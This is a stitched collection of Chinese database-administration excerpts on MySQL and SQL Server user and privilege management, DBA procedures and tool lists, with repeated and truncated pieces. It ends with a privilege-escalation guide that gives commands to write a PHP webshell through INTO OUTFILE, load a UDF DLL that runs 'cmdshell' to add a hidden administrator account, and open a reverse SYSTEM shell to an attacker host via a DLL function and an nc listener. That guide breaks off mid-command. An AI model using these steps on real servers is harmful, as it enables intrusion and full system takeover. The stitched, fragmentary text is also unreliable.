6、proxies_priv:记录代理用户的权限 7、host权限表:配合db权限表对给定主机上数据库级操作权限作更细致的控制。这个权限表不受GRANT和REVO语句的影响

数据库用户管理(用户管理,权限分配)

学习资料:数据库用户管理 SQL Server的安全包括服务器安全和数据安全两部分。服务器安全是指可以SQL Server数据库服务器的登录管理、数据库数据的访问安全等,数据安全则包括数据的完整性、数据库文件的安全性。因此,如果你准备访问SQL Server数据库的数据,你应该具有SQL Server登录帐户和访问数据库的权限。 下面逐一讲解如何创建登录帐户、如何创建数据库用户和如何给用户授权。 一、SQL Server身份验证 在登录SQL Server时,需要选择身份验证的方式,SQL Server支持以下两种身份验证。 Windows身份验证。 SQL Server身份验证。 简单地说,Windows身份验证是使用当前登录到操作系统的用户去登录,而SQL Server身份验证是使用SQL Server中建立的用户去登录。 登录验证通过以后,就可以像管理本机SQL Server一样来管理远程机上的SQL Server 服务。 二、建立登录帐户并赋予权限 与创建数据库一样,建立SQL Server数据库的登录名、用户名,为其赋予权限也有两种方式。 1)使用SQL Server Management Studio建立登录账户并赋予权限 2)使用T-SQL建立登录账户并赋予权限 1.在SQL Server Management Studio中建立登录账户并赋予权限在SQL Server Management Studio中,通常需要进行三步操作。 1)建立SQL Server登录名 在SQL Server Management Studio中,建立登录的步骤如下。 (1)在“安全性”节点下,右击“登录名”,在右键菜单中选择“新建登录名”选项。

数据库管理系统软件的开发和管理-2019年精选文档

数据库管理系统软件的开发和管理 i=r 目前, 随着我国信息化的快速发展以及计算机技术功能的不断完善, 数据库管理系统软件的功能也会不断得到完善和提升。 在未来的时间里,一定会越来越广泛的被各种领域所应用, 而数据库管理系统发展的几个必然趋势, 也会进一步实现。对计算机数据库管理系统进行的研究也会越来越被人们所重视, 其未来的发展中一定会更上一层楼。 、数据库管理系统的概述 数据库管理系统(database managementsystem) 是一种操纵和管理数据库的大型软件,用于建立、使用和维护数据库,简称 dbms。它对数据库进行统一的管理和控制,以保证数据库的安全性和完整性。用户通过dbms访问数据库中的数据,数据库管理 员也通过dbms进行数据库的维护工作。它可使多个应用程序和用户用不同的方法在同时或不同时刻去建立,修改和询问数据 库。DBMS提供数据定义语言DDL( Data Definition Language ) 与数据操作语言DML(Data Manipulation Language ),供用户 定义数据库的模式结构与权限约束,实现对数据的追加、删除等操作。 二、数据库管理系统的开发过程数据库管理系统的发展经过了人工管理阶段、文件系统阶段、主流数据库阶段以及面向对象

的数据库阶段。每个阶段相对于之前一个阶段相比, 其功能都有显著的提高, 更加自动化、科技化。(一)人工管理阶段人工管理 是数据库管理系统最早时期所采取的工作形式, 这个时期的计算机, 在其功能中只有计算功能, 而对数据的保存功能却并不存在。 在运行后, 只能将计算的结果显示出来, 而最后的保存工作还是要由人工操作来完成。(二)文件系统阶段随着计算机的不断发展计算机的功能也逐渐被完善, 非数值数据的处理已经可以通过计算机自身来自动完成,数据也可以达到长久保存, 在文件系统阶段,计算机不仅可以完成科学的计算工作, 对计算出的结果可以 自动保存。而且还实现了数据的逻辑结构和物力存储的分开, 减少数据的物力组织。计算机的功能在此阶段虽达到了很高的突破但是还是存在着相应的问题, 如文件和应用程序之间的关联度大从而导致了不同程序在同时应用的时候,不能实现数据贡献, 数据之间的联系不够强,在应用上,很难适用不同的应用,这些都是 有待改进的地方。(三)主流数据库阶段这种主流数据库主要是一种建立在关系数据库模型基础上的数据库。这种数据库相对于其他数据库来说,实现了容易创建和存取,容易扩充的重要优势, 能 够在不需要对现有应用软件修改的情况下加入一种新的数据库 种类。目前主流的关系数据库有oracle 、SQL、access 、db2、sybase 等。(四)面向对象数据库阶段面向对象是一种认识方法学, 也是一种新的程序设计方法学。主要是为了使数据库的分析、设计能够最大限度的与人们的客观世界的认识一致而采取的一

MySQL数据库管理之权限管理

MYSQL数据库管理之权限管理 小编做客服有一阵子了,总是有人在QQ群或者论坛上问关于mysql权限的问题,今天就总结一下关于MYSQL数据库的权限管理的经验。希望大家看完有所收获啦~ 一、MYSQL权限简介 关于mysql的权限简单的理解就是mysql允许你做你权利以内的事情,不可以越界。比如只允许你执行select操作,那么你就不能执行update操作。只允许你从某台机器上连接mysql,那么你就不能从除那台机器以外的其他机器连接mysql。 那么MYSQL的权限是如何实现的呢?这就要说到mysql的两阶段的验证,下面详细来介绍: 第一阶段:服务器首先会检查你是否允许连接。因为创建用户的时候会加上主机限制,可以限制成本地、某个IP、某个IP段、以及任何地方等,只允许你从配置的指定地方登录。后面在实战的时候会详细说关于主机的限制。 第二阶段:如果你能连接,MYSQL会检查你发出的每个请求,看你是否有足够的权限实施它。比如你要更新某个表、或者查询某个表,MYSQL会检查你对哪个表或者某个列是否有权限。再比如,你要运行某个存储过程,MYSQL会检查你对存储过程是否有执行权限等。 MYSQL到底都有哪些权限呢?从官网复制一个表来看看: 权限权限级别权限说明 CREATE数据库、表或索引创建数据库、表或索引权限DROP数据库或表删除数据库或表权限 GRANT OPTION数据库、表或保存的程序赋予权限选项 REFERENCES数据库或表 ALTER表更改表,比如添加字段、索引等DELETE表删除数据权限 INDEX表索引权限 INSERT表插入权限 SELECT表查询权限 UPDATE表更新权限 CREATE VIEW视图创建视图权限 SHOW VIEW视图查看视图权限 ALTER ROUTINE存储过程更改存储过程权限 CREATE ROUTINE存储过程创建存储过程权限 EXECUTE存储过程执行存储过程权限

数据库管理员常工作权限和流程

目录 1数据库操作规范: 1.1数据库关键参数配置: ·新项目或系统、数据库填写系统上线更新记录表; ·mysql数据库应用服务端口设定,默认实例服务端口是3306,其它实例需注意服务端口值; ·数据库内存使用是实际物理内存三分之二,如果是双机系统建议不要超过二分 之一; ·严禁按照Internet上查找的资料中只言片语,对数据库进行调整; 1.2数据库数据提取流程: 1业务部门相关人员填写“数据申请单”; 2部门负责人签字; 3DBA依情况操作; 4需求申请部门验收。 1.3数据库操作管理制度: ①业务部门要求的数据库操作需要有书面审批流程,DBA应保留原始文件一份; ②业务部门所填写的数据申请表单,一定需要相关负责人签字后方可执行。 ③在做数据库更改操作前,必须和业务人员核对业务逻辑,在完全清楚业务逻辑后进 行数据库操作; ④所有数据库更改操作,必须先进行测试,并将操作放在事物中,分步执行; ⑤保留重要操作的脚本、操作前数据、操作过程结果,以便日后查对; ⑥在完成操作后,要给操作需求方最终结果报告,使需求方可以及时核对; ⑦对于一些核心机密数据,需要遵守公司相关的保密协议,不能向外泄露;

⑧注意维护数据库服务器的硬盘空间,及盘阵上磁盘状态; ⑨按流水记录数据操作日志,作为以后查对凭证; ⑩以后有关数据库手工操作之前,一定通知所有应用程序开发人员,以便评估、保存操作结果; ⑾DBA个人使用的计算机应严格管理,尽可能不要在办公区外上网,更不要浏览和工作无关的网站,一定要安装防毒套装软件,避免感染病毒和木马, 严禁安装与工作无关的应用软件; ⑿当数据库需要调整时,严禁按照网上查找的资料操作数据库,一定是先查看官方完整文档或权威文档,通过严格测试,书写完整报告,经评估后,填写 数据库维护申请表,获审批方可操作; ⒀严禁在其它地方使用工具连接生产数据库,进行操作; ⒁操作流程:填写数据申请单 ·业务部门业务人员提出申请; ·业务部门负责人审核; ·运营DBA执行,操作完成后,需在“DBA操作结果”中写明操作语 句和影响记录条数; ·运营核查; ·业务部门任务申请人员检验操作结果,并签字确认; ·单据由运营部门保留。 1.4操作系统帐号管理制度: ①在数据库服务器、关键应用服务器上,只能有数据库DBA人员的帐号,开发人 员需要介入时,填写开发人员使用数据库申请单; ②在操作系统中需要启动本地安全策略中有关帐户管理的安全策略,策略如下: ·启动密码必须符合复杂性要求; ·密码长度最小值6个字符; ·帐户锁定时间10分钟; ·帐户锁定阀值5次; ③每两个星期检查一次操作系统日志; 1.5数据库帐号管理制度: ①应用程序帐号权限需要做严格限制,对不同应用需求使用不同权限和操作范围帐号, 要有部门负责人确认; ②在不同应用服务器上相同应用程序应使用不同数据库访问帐号; ③帐号密码需要有复杂性要求(字母、数字14位以上); ⑤所有帐号名称、访问权限、应用程序名称必须记录在案(如:表格形式); ⑥在防火墙上严格限制数据库端口访问的IP地址,只有正常对外服务的应用服务器 IP可以访问相关数据库; ⑦数据库超级用户权限使用严格限制;

数据库开发管理工具

图书仓库治理系统 本系统要紧完成对图书仓库的库存治理,包括图书入库、出库、库存,职员信息,供应商信息以及密码治理等六个方面。系统能够完成对各类信息的扫瞄、查询、添加、删除、修改、报表等功能。 系统的核心是入库、库存和出库三者之间的联系,每一个表的修改都将联动的阻碍其它的表,当完成入库或出库操作时系统会自动地完成库存的修改。查询功能也是系统的核心之一,在系统中即有单条件查询和多条件查询,也有精确查询和模糊查询,系统不仅有静态的条件查询,也有动态生成的条件查询,其目的差不多上为了方便用户使用。系统有完整的用户添加、删除和密码修改功能,并具备报表打印功能。 系统采纳Microsoft Office中的Access 2000来设计数据库,并使用当前优秀的开发工具—Delphi 6.0 ,它有着最为灵活的数据库结构,对数据库应用有着良好的支持。 论文要紧介绍了本课题的开发背景,所要完成的功能和开发的过

程。重点的讲明了系统设计的重点、设计思想、难点技术和解决方案。 关键字:数据库,SQL语言,Delph 6,数据库组件,仓库治理 目录 第一章引言 (1) 1.1 课题来源 (1) 1.2 开发工具的选择 (2) 1.3 所做的要紧工作 (3) 第二章数据库概论……………………………………………………………………

2.1 数据库的进展 (4) 2.1.1 数据库的进展 (4) 2.1.2 数据库时期的特点 (5) 2.1.3 数据库技术 (6) 2.2 数据库理论基础 (7) 2.2.1 数据库模型 (7) 2.2.2 数据库体系结构 (10) 2.2.3 数据的独立性 (11) 2.2.4 范式…………………………………………………………………

JAVA用户角色权限数据库设计

实现业务系统中的用户权限管理 B/S系统中的权限比C/S中的更显的重要,C/S系统因为具有特殊的客户端,所以访问用户的权限检测可以通过客户端实现或通过客户端+服务器检测实现,而B/S中,浏览器是每一台计算机都已具备的,如果不建立一个完整的权限检测,那么一个“非法用户”很可能就能通过浏览器轻易访问到B/S系统中的所有功能。因此B/S业务系统都需要有一个或多个权限系统来实现访问权限检测,让经过授权的用户可以正常合法的使用已授权功能,而对那些未经授权的“非法用户”将会将他们彻底的“拒之门外”。下面就让我们一起了解一下如何设计可以满足大部分B/S系统中对用户功能权限控制的权限系统。 需求陈述 ?不同职责的人员,对于系统操作的权限应该是不同的。优秀的业务系统,这是最基本的功能。 ?可以对“组”进行权限分配。对于一个大企业的业务系统来说,如果要求管理员为其下员工逐一分配系统操作权限的话,是件耗时且不够方便的事情。所以,系统中就提出了对“组”进行操作的概念,将权限一致的人员编入同一组,然后对该组进行权限分配。 ?权限管理系统应该是可扩展的。它应该可以加入到任何带有权限管理功能的系统中。 就像是组件一样的可以被不断的重用,而不是每开发一套管理系统,就要针对权限管理部分进行重新开发。 ?满足业务系统中的功能权限。传统业务系统中,存在着两种权限管理,其一是功能权限的管理,而另外一种则是资源权限的管理,在不同系统之间,功能权限是可以重用的,而资源权限则不能。 关于设计 借助NoahWeb的动作编程理念,在设计阶段,系统设计人员无须考虑程序结构的设计,而是从程序流程以及数据库结构开始入手。为了实现需求,数据库的设计可谓及其重要,无论是“组”操作的概念,还是整套权限管理系统的重用性,都在于数据库的设计。 我们先来分析一下数据库结构: 首先,action表(以下简称为“权限表”),gorupmanager表(以下简称为“管理组表”),以及master表(以下简称为“人员表”),是三张实体表,它们依次记录着“权限”的信息,“管理组”的信息和“人员”的信息。如下图:

以普通权限运行MySQL的操作说明

以普通权限运行MySQL的操作说明 特别说明: 此模式为手动设置 mysql 的运行权限,操作步骤比较多,且比较复杂。请先在做测试,然后再在服务器里进行操作。 后续我们会发布一个“mysql权限设置.exe ”的程序,帮助您“一键设置”Mysql的运行权限,敬请关注我们的官方网站 本文介绍的是 mysql 设置方法。其他程序的降权运行,比如 ms sql 2000 和Serv-U 的方法,我们会在后面发布。 1、打开服务器里任务管理器,看看当前MySQL用户运行时权限 如果是 system 用户在运行 MySQL ,这个是非常危险的,一旦Mysql 出现漏洞,或被其他模式提权,直接就是 system 权限。

2、对 MySQL进行降权,用普通权限运行 假设 (1)mysql安装在 d:\mysql 目录 (2)运行时用户名为 mysqluser 3、建立一个新用户,假设为“mysqluser” 填写用户名,

选择“用户不能更改密码”和“密码永不过期”,其他2个√取消掉 找到刚才建立的用户,点鼠标右键属性,修改用户的属性

新建立用户后,会默认加到 users 组件,把这里组删除,不加入任何组。

把组清除,不加入任何组,点确定。 4、假设 MySQL数据库安装在 d:\mysql ,对此目录进行 NTFS 权限设置(1)Administrators 完全控制 (2)System 完全控制 (3)MysqlUser 完全控制 如果有其他权限,把其他权限都删除,操作步骤如下 修改 d:\mysql 的 NTFS 权限

此时权限可能是继续的,可能无法删除,点“高级”

数据库开发工具的深刻比较

数据库开发工具的比较 VB:全称Visual Basic,它是以Basic语言作为其基本语言的一种可视化编程工具。是新人开发与系统无关的综合应用程序的首选;容易使用和厂商财力很强是其仅有的两点优势。VB开发效率高,代码执行效率一般,但是入门和学习速度快,有较好的学习氛围和帮助书籍和帮助文档。但是随着微软的.net技术的推广,VB将会逐渐推出历史舞台。 它对组件技术的支持是基于COM和ActiveX,对于组件技术不断完善发展的今天,它也显出了它的落后性;同时VB在进行系统底层开发的时候也是相对复杂的,调用API函数需声明,调用不方便,不能进行DDK编程,不可能深入Ring0编程,不能嵌套汇编;而且面向对象的特性差;网络功能和数据库功能也没有非常特出的表现。 PB:全称PowerBuilder,是开发MIS系统和各类数据库跨平台的首选,使用简单,容易学习,容易掌握,在代码执行效率上也有相当出色的表现。是开发大型MIS及各类数据库跨平台应用的首选;从数据库前端工具来讲甚至远远超过了Oracle的Develop系列等专门的工具;从通用语言角度来讲功能也与VB等不相上下;多媒体和网络功能与其他工具相比较弱。 PB是一种真正的4GL语言(第四代语言),可随意直接嵌套SQL语句返回值被赋值到语句的变量中,支持语句级游标,存储过程和数据库函数,是一种类似SQLJ的规范,数据访问中具有无可比拟的灵活

性。但是它在系统底层开发中犯了跟VB一样的错误,调用API函数需声明,调用不方便,不能进行DDK编程,不可能深入Ring0编程,不能嵌套汇编;在网络开发中提供了较多动态生成Web页面的用户对象和服务以及系统对象,非常适合编写服务端动态Web应用,有利于商业逻辑的封装;但是用于网络通讯的支持不足;静态页面定制支持有限,使得PB在网络方面的应用也不能非常广泛。面向对象特向也不是太好。 C Builder/Dephi:它们都是基于VCL库的可视化开发工具,是唯一一套能够同时适用于开发数据库应用、网络及Web应用、分布式应用、可重用组件、系统软件、驱动程序、多媒体及游戏等所有软件的高效率开发环境,并且学习使用较为容易,充分提现了所见即所得的可视化开发方法,开发效率高。由于两者都是Borland公司的产品,自然继承了该公司一贯以来的优良传统:代码执行效率高。但是,它们并不是毫无缺点,它们所作的最大不足之处就是他们的帮助系统在众多的编程工具中是属于比较差的。C++Builder的VCL库是基于Object pascal(面向对象pascal),使得C++Builder在程序的调试执行上都面向落后于其他编程工具。而Delphi则是它的语言不够广泛、开发系统软件功能不足两个比较大的缺点。 VC:全称Visual C++是基于MFC库的可视化的开发工具,从总体上说它是一个功能强大但是不便使用的一种工具。从功能上讲除了跨平台应用外什么都可开发;从开发效率角度讲只局限于开发windows 系统应用、可重用组件及驱动程序。

MySQL授权grant与撤销权限revoke语法的详细解析

MySQL授权grant与撤销权限revoke语法的详细解析 以下的文章是MySQL grant 语法的详细解析,如果你对MySQL grant 语法的相关的实际操作有兴趣的话,你就可以对以下的文章点击观看了。我们大家都知道MySQL数据库赋予用户权限命令的简单格式可概括为: grant 权限 on 数据库对象 to 用户 一、grant 普通数据用户,查询、插入、更新、删除数据库中所有表数据的权利。 或者,用一条 MySQL 命令来替代: 二、grant 数据库开发人员,创建表、索引、视图、存储过程、函数。。。等权限。 grant 创建、修改、删除 MySQL 数据表结构权限。 MySQLgrant 操作 MySQL 外键权限。

grant references on testdb.* to developer@'192.168.0.%'; grant 操作 MySQL 临时表权限。 grant create temporary tables on testdb.* to grant 操作 MySQL 索引权限。 grant index on testdb.* to grant 操作 MySQL 视图、查看视图源代码权限。 grant 操作 MySQL 存储过程、函数权限。 三、grant 普通 DBA 管理某个 MySQL 数据库的权限。MySQLgrant all privileges on testdb to 其中,关键字“privileges” 可以省略。

五、MySQL grant 权限,分别可以作用在多个层次上。 1. grant 作用在整个 MySQL 服务器上: grant select on *.* to dba@localhost; -- dba 可以查询 MySQL 中所有数据库中的表。grant all on *.* to dba@localhost; -- dba 可以管理 MySQL 中的所有数据库 2. grant 作用在单个数据库上: grant select on testdb.* to dba@localhost; -- dba 可以查询 testdb 中的表。 3. grant 作用在单个数据表上: grant select, insert, update, delete on testdb.orders to 4. grant 作用在表中的列上: grant select(id, se, rank) on testdb.apache_log to 5.MySQL grant 作用在存储过程、函数上: 六、查看 MySQL 用户权限 查看当前用户(自己)权限: show grants; 查看其他 MySQL 用户权限: show grants for dba@localhost; 七、撤销已经赋予给 MySQL 用户权限的权限。

数据库用户管理(用户管理,权限分配)

数据库用户管理 SQL Server的安全包括服务器安全和数据安全两部分。服务器安全是指可以SQL Server数据库服务器的登录管理、数据库数据的访问安全等,数据安全则包括数据的完整性、数据库文件的安全性。因此,如果你准备访问SQL Server数据库的数据,你应该具有SQL Server登录帐户和访问数据库的权限。 下面逐一讲解如何创建登录帐户、如何创建数据库用户和如何给用户授权。 一、SQL Server身份验证 在登录SQL Server时,需要选择身份验证的方式,SQL Server支持以下两种身份验证。 Windows身份验证。 SQL Server身份验证。 简单地说,Windows身份验证是使用当前登录到操作系统的用户去登录,而SQL Server 身份验证是使用SQL Server中建立的用户去登录。 登录验证通过以后,就可以像管理本机SQL Server一样来管理远程机上的SQL Server 服务。 二、建立登录帐户并赋予权限 与创建数据库一样,建立SQL Server数据库的登录名、用户名,为其赋予权限也有两种方式。 1)使用SQL Server Management Studio建立登录账户并赋予权限 2)使用T-SQL建立登录账户并赋予权限 1.在SQL Server Management Studio中建立登录账户并赋予权限 在SQL Server Management Studio中,通常需要进行三步操作。 1)建立SQL Server登录名 在SQL Server Management Studio中,建立登录的步骤如下。

首先要用widows模式登陆,在windows模式下在数据库中进行建立。 点击 (1)在“安全性”节点下,右击“登录名”,在右键菜单中选择“新建登录名”选项。

数据库管理员日常工作权限和流程

目录 1数据库操作规范: (2) 1.1数据库关键参数配置: (2) 1.2数据库数据提取流程: (2) 1.3数据库操作管理制度: (2) 1.4操作系统帐号管理制度: (3) 1.5数据库帐号管理制度: (3) 2应用程序管理规范 (3) 2.1应用程序发布管理: (3) 3数据库备份规范 (4) 3.1备份设备物理规划: (4) 3.2数据库备份制度: (4) 3.3备份数据定义: (4)

1数据库操作规范: 1.1数据库关键参数配置: ·新项目或系统、数据库填写系统上线更新记录表; · mysql数据库应用服务端口设定,默认实例服务端口是3306,其它实例需注意服务端口值; ·数据库内存使用是实际物理内存三分之二,如果是双机系统建议不要超过二分之一; ·严禁按照Internet上查找的资料中只言片语,对数据库进行调整; 1.2数据库数据提取流程: 1 业务部门相关人员填写“数据申请单”; 2 部门负责人签字; 3 DBA依情况操作; 4 需求申请部门验收。 1.3数据库操作管理制度: ①业务部门要求的数据库操作需要有书面审批流程,DBA应保留原始文件一份; ②业务部门所填写的数据申请表单,一定需要相关负责人签字后方可执行。 ③在做数据库更改操作前,必须和业务人员核对业务逻辑,在完全清楚业务逻辑后进行 数据库操作; ④所有数据库更改操作,必须先进行测试,并将操作放在事物中,分步执行; ⑤保留重要操作的脚本、操作前数据、操作过程结果,以便日后查对; ⑥在完成操作后,要给操作需求方最终结果报告,使需求方可以及时核对; ⑦对于一些核心机密数据,需要遵守公司相关的保密协议,不能向外泄露; ⑧注意维护数据库服务器的硬盘空间,及盘阵上磁盘状态; ⑨按流水记录数据操作日志,作为以后查对凭证; ⑩以后有关数据库手工操作之前,一定通知所有应用程序开发人员,以便评估、保存操作结果; ⑾DBA个人使用的计算机应严格管理,尽可能不要在办公区外上网,更不要浏览和工作无关的网站,一定要安装防毒套装软件,避免感染病毒和木马,严禁安装与工作无关的 应用软件; ⑿当数据库需要调整时,严禁按照网上查找的资料操作数据库,一定是先查看官方完整文档或权威文档,通过严格测试,书写完整报告,经评估后,填写数据库维护申请表, 获审批方可操作; ⒀严禁在其它地方使用工具连接生产数据库,进行操作; ⒁操作流程:填写数据申请单 ·业务部门业务人员提出申请; ·业务部门负责人审核;

MYSQL用户管理和权限管理

MYSQL用户管理和权限管理 MYSQL是一个多用户的数据库,MYSQL的用户可以分为两大类: 1.超级管理员用户(root),拥有全部权限 Root用户的权限包括:创建用户、删除用户和修改普通用户密码等管理权限。 2.普通用户,由root创建,普通用户只拥有root所分配的权限(普通用户只拥有创建用户是赋予它的权限。) 普通用户的权限包括:管理用户的账户、权限等。 一、权限表 最重要:user表、db表、host表; 除此之外还有tables_priv表、columns_priv表和proc_priv表等。 二、账户管理 1.登陆与退出MySQL服务器 2. 新建普通用户 (1)用CREATE USER语句新建普通用户 (2)用INSERT语句新建普通用户 A: B: (3)用GRANT语句来新建普通用户

3.删除普通用户 (1)用DROP USER语句删除普通用户 (2)用DELETE语句删除普通用户 4.root用户修改自己的密码 Root用户拥有最高的权限,因此必须保证root用户的密码的安全。(1)使用mysqladmin命令修改root用户的密码 (2)修改mysql数据库下的user表 (3)使用SET语句修改root用户的密码 5.root修改普通用户的密码 root用户不仅能修改自己的密码,还可以修改普通用户的密码。(1)使用SET语句修改普通用户的密码 (2)修改mysql数据库下的user表

(3)用GRANT语句修改普通用户的密码 6.普通用户修改密码 7.Root用户密码丢失的解决办法 (1)使用--skip-grant-tables选项启动MySQL服务 (2)登陆root用户,并且设置新密码 通过以上的方式启动MySQL服务后,可以不输入密码就登陆root用户。 登陆以后用UPDATE语句来修改密码。 (3)加载权限表 修改完密码后必须用FLUSH PRIVILEGES语句来加载权限表。加载权限后,新密码开始有效。而且,MySQL服务器开始进行权限认证。用户必须输入用户和密码才能登陆MySQL数据库。 三、权限管理 1.MySQL的各种权限

28款经典数据库管理工具

28款经典数据库管理工具 1、MySQL Workbench MySQL Workbench是一款专为MySQL设计的ER/数据库建模工具。它是著名的数据库设计工具DBDesigner4的继任者。你可以用MySQL Workbench设计和创建新的数据库图示,建立数据库文档,以及进行复杂的MySQL 迁移 MySQL Workbench是下一代的可视化数据库设计、管理的工具,它同时有开源和商业化的两个版本。该软件支持Windows 和Linux系统,下面是一些该软件运行的界面截图:2、数据库管理工具Navicat Lite NavicatTM是一套快速、可靠并价格相宜的资料库管理工具,大可使用来简化资料库的管理及降低系统管理成本。它的设计符合资料库管理员、开发人员及中小企业的需求。Navicat是以直觉化的使用者图形介面所而建的,让你可以以安全且简单的方式建立、组织、存取并共用资讯。 界面如下图所示:Navicat 提供商业版Navicat Premium 和免费的版本Navicat Lite 。免费版本的功能已经足够强大了。 Navicat 支持的数据库包括MySQL、Oracle、SQLite、PostgreSQL 和SQL Server 等。

3、开源ETL工具Kettle Kettle是一款国外开源的etl工具,纯java编写,绿色无需安装,数据抽取高效稳定(数据迁移工具)。Kettle中有两种脚本文件,transformation和job,transformation完成针对数据的基础转换,job则完成整个工作流的控制。· 授权协议:LGPL · 开发语言:Java · 操作系统:跨平台 4、Eclipse SQL Explorer SQLExplorer是Eclipse集成开发环境的一种插件,它可以被用来从Eclipse连接到一个数据库。 SQLExplorer插件提供了一个使用SQL语句访问数据库的图形用户接口(GUI)。通过使用SQLExplorer,你能够显示表格、表格结构和表格中的数据,以及提取、添加、更新或删除表格数据。 SQLExplorer同样能够生成SQL脚本来创建和查询表格。所以,与命令行客户端相比,使用SQLExplorer可能是更优越的选择,下图是运行中的界面,很好很强大。l 授权协议:未知 l 开发语言:Java l 操作系统:跨平台

MySql_5.5安装_卸载_权限初始化说明(超详细)

MySql5.5安装详细说明 打开MySql5.5安装文件开始: 点击Next 打上勾,再点击Next

点击Custom,说明如下: Typical(典型安装) Installs the most common program features.Recommended for most users. 意思是:安装最常用的程序功能。建议大多数用户使用。 Custom(自定义安装) Allows uers to choose which program features will be installed and where they will be installed.Recommended for advanced users. 意思是:允许用户选择安装的程序功能和安装的位置,建议高级用户使用。 Complete(完全安装) All program features will be installed.Requires the most disk space. 意思是:将安装所有的程序功能,需要最多的磁盘空间。

这里就要详细说明一下: 点一下Developer Components左边的+按钮,会看到带的图标,这代表这里的内容不会被安装到本地硬盘上。带有图标的都是默认安装到本地硬盘上的。 Developer Components(开发者部分): 用左键单击向下的小箭头选择Entire feature will be installed on local hard drive。 意思是:即此部分,以及下属子部分内容全部安装在本地硬盘上。 MySQL Server(mysql服务器):照上面的做。 Client Programs(mysql客户端程序) :照上面的做。 Documentation(文档) :照上面的做。 Server data files(服务器数据文件):照上面的做。 Debug Symbols(调试符号):照上面的做。 这样操作,以保证安装所有文件,如果是图标的就不用去管它,操作完再点击Next。

数据库权限设计与实现

实现业务系统中的用户权限管理--设计篇 B/S系统中的权限比C/S中的更显的重要,C/S系统因为具有特殊的客户端,所以访问用户的权限检测可以通过客户端实现或通过客户端+服务器检测实现,而B/S中,浏览器是每一台计算机都已具备的,如果不建立一个完整的权限检测,那么一个“非法用户”很可能就能通过浏览器轻易访问到B/S系统中的所有功能。因此B/S业务系统都需要有一个或多个权限系统来实现访问权限检测,让经过授权的用户可以正常合法的使用已授权功能,而对那些未经授权的“非法用户”将会将他们彻底的“拒之门外”。下面就让我们一起了解一下如何设计可以满足大部分B/S系统中对用户功能权限控制的权限系统。 需求陈述 ?不同职责的人员,对于系统操作的权限应该是不同的。优秀的业务系统,这是最基本的功能。 ?可以对“组”进行权限分配。对于一个大企业的业务系统来说,如果要求管理员为其下员工逐一分配系统操作权限的话,是件耗时且不够方便的事情。所以,系统中就提出了对“组”进行操作的概念,将权限一致的人员 编入同一组,然后对该组进行权限分配。 ?权限管理系统应该是可扩展的。它应该可以加入到任何带有权限管理功能的系统中。就像是组件一样的可以被不断的重用,而不是每开发一套管理 系统,就要针对权限管理部分进行重新开发。 ?满足业务系统中的功能权限。传统业务系统中,存在着两种权限管理,其一是功能权限的管理,而另外一种则是资源权限的管理,在不同系统之间,功能权限是可以重用的,而资源权限则不能。 关于设计 借助NoahWeb的动作编程理念,在设计阶段,系统设计人员无须考虑程序结构的设计,而是从程序流程以及数据库结构开始入手。为了实现需求,数据库的设计可谓及其重要,无论是“组”操作的概念,还是整套权限管理系统的重用性,都在于数据库的设计。 我们先来分析一下数据库结构: 首先,action表(以下简称为“权限表”),gorupmanager表(以下简称为“管理组表”),以及master表(以下简称为“人员表”),是三张实体表,它们依次记录着“权限”的信息,“管理组”的信息和“人员”的信息。如下图:

28款经典数据库管理工具

1、MySQL Workbench MySQL Workbench是一款专为MySQL设计的ER/数据库建模工具。它是著名的数据库设计工具DBDesigner4的继任者。你可以用MySQL Workbench 设计和创建新的数据库图示,建立数据库文档,以及进行复杂的MySQL迁移MySQL Workbench是下一代的可视化数据库设计、管理的工具,它同时有开源和商业化的两个版本。该软件支持Windows和Linux系统,下面是一些该软件运行的界面截图:

2、数据库管理工具Navicat Lite Navicat TM是一套快速、可靠并价格相宜的资料库管理工具,大可使用来简化资料库的管理及降低系统管理成本。它的设计符合资料库管理员、开发人员及中小企业的需求。Navicat是以直觉化的使用者图形介面所而建的,让你可以以安全且简单的方式建立、组织、存取并共用资讯。 界面如下图所示:

Navicat提供商业版Navicat Premium和免费的版本Navicat Lite。免费版本的功能已经足够强大了。 Navicat支持的数据库包括MySQL、Oracle、SQLite、PostgreSQL和SQL Server等。

3、开源ETL工具Kettle Kettle是一款国外开源的etl工具,纯java编写,绿色无需安装,数据抽取高效稳定(数据迁移工具)。Kettle中有两种脚本文件,transformation和job,transformation完成针对数据的基础转换,job则完成整个工作流的控制。

?授权协议:LGPL ?开发语言:Java ?操作系统:跨平台 4、Eclipse SQL Explorer SQLExplorer是Eclipse集成开发环境的一种插件,它可以被用来从Eclipse 连接到一个数据库。 SQLExplorer插件提供了一个使用SQL语句访问数据库的图形用户接口(GUI)。通过使用SQLExplorer,你能够显示表格、表格结构和表格中的数据,以及提取、添加、更新或删除表格数据。 SQLExplorer同样能够生成SQL脚本来创建和查询表格。所以,与命令行客户端相比,使用SQLExplorer可能是更优越的选择,下图是运行中的界面,很好很强大。

Mysqlroot权限提权小结

//此文章写于2008年貌似现在的MySQL版本多数>5.1.0了,在小于5.1.0情况下下面几个方法可供参考 由于5.1以上版本,规定了加载自定义的dll的路径必须要在plugin下,但是默认情况下这个文件夹并不存在 #1 phpmyadmin 后台得获得WebShell的方法 http://url/phpmyadmin/libraries/select_lang.lib.php 得到物理路径 -------------------------------------------------------------------------------------- create database tempdb; use tempdb create TABLE tb_temp (cmd text NOT NULL); Insert INTO tb_temp (cmd) VALUES(''); select cmd from tb_temp into outfile 'D:\\webdir\\eval.php'; drop TABLE IF exists tb_temp; drop database tempdb; ------------------------------------------------------------------------------------- #2 获取Mysql数据库root密码后可测试导出udf.dll提权 首先上传个udf.dll.php填写相关的参数后导出udf.dll到C:\windows\udf.dll 然后执行以下命令 ----------------------------------------------------------------------------------- create function cmdshell returns string soname 'udf.dll' select cmdshell('net user admin$ 123456 /add'); select cmdshell('net localgroup administrators admin$ /add'); drop function cmdshell; ------------------------------------------------------------------------------------ 不过这个过程中常出问题的就是udf.dll被杀,哈哈哈..... #3 通常最后会尝试使用Func反弹来获取CmdShell 然而总是失败,其原因在于:Mix.dll解压出来路径默认是WebShell的路径 一般情况下Mysql是不允许从任意目录加载函数库.呵呵,可以来验证下我的说法. 1.使用Webshell的Mysql链接功能登入root 2.执行create function Mixconnect returns string soname 'D:\\webdir\\Mix.dll'; 3.执行select Mixconnect('ip_addr','9999'); 若能成功的话,在本地使用nc -vv -l -p 9999便可反弹回个System权限的CmdSell 然二步时便会报错Error“No paths allowed for shared library” 这便说明了Mysql不允许从任意目录加载函数库.解决的方法也是很简单的可以使用Mysql 将处于Webshell路径下的Mix.dll拷贝到C:\\Windows\\Mix.dll 实现方法如下: --------------------------------------------------------------------------------------- create table 